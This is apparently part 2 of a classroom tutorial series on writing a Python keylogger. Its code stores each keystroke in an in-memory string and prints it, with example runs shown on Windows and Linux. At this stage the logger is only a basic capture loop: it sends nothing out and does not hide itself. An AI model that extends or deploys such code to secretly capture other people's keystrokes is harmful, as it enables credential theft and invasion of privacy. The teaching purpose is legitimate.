

Part 2: Python Keylogger

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Time required: 15 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

Key Logger 2

Let's add an in-memory log file to the program using a string variable. We will be saving separate copies of our programs as a backup in case something goes wrong when we add new features.

1. Save **frog_1.py** as **frog_2.py**

```
14 class KeyLogger():
15     def __init__(self):
16         # Create string variable for keypress log
17         self.log = ""
```

2. The only change to the KeyLogger class is to add the **log** variable at the beginning of the init method as shown. We will accumulate keystrokes in this log and display them to the terminal.

```

35  # ----- PROCESS KEY PRESS -----#
36  def process_key_press(self, key):
37      """Callback function whenever a key is pressed"""
38      # Add each key strike to a log
39      # Convert keycode object to string
40      self.log = self.log + str(key)
41      print(self.log)
42      # Press the Esc key to exit the program
43      if key == keyboard.Key.esc:
44          print("Exiting Key Logger")
45          return False

```

3. The **process_key_press()** method adds each keystroke to the log variable. It is printed with each keypress.

Run the program in both operating systems. Each keystroke will be logged.

Example run in Windows:

```

't'
't''h'
't''h''i'
't''h''i''s'
't''h''i''s'Key.space
't''h''i''s'Key.space'i'
't''h''i''s'Key.space'i''s'
't''h''i''s'Key.space'i''s'Key.space
't''h''i''s'Key.space'i''s'Key.space'f'
't''h''i''s'Key.space'i''s'Key.space'f''u'
't''h''i''s'Key.space'i''s'Key.space'f''u''n'
't''h''i''s'Key.space'i''s'Key.space'f''u''n'Key.print_screen

```

Notice that the keylogger even captured the print screen key used to capture the screen shot.

Linux

To run this in Linux, you may have to activate the virtual environment.

```

# Activate the virtual environment
cd Code/bin
source activate

```

Change back to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 key_logger_2.py

Example run in Linux:

```
(Code)-(user@kalibill)-[~/Code]
$ python3 key_logger_2.py
't'
't'h'
't'h'i'
't'h'i's'
't'h'i's'Key.space
't'h'i's'Key.space'i'
't'h'i's'Key.space'i's'
't'h'i's'Key.space'i's'Key.space
't'h'i's'Key.space'i's'Key.space'a'
't'h'i's'Key.space'i's'Key.space'a'Key.space
't'h'i's'Key.space'i's'Key.space'a'Key.space't'
't'h'i's'Key.space'i's'Key.space'a'Key.space't'e'
't'h'i's'Key.space'i's'Key.space'a'Key.space't'e's'
't'h'i's'Key.space'i's'Key.space'a'Key.space't'e's't'
't'h'i's'Key.space'i's'Key.space'a'Key.space't'e's't'Key.esc
Exiting Key Logger
```

Assignment Submission

1. Attach all program files.
2. Attach a screenshot from Windows and Linux of your results.
3. Submit the assignment in BlackBoard.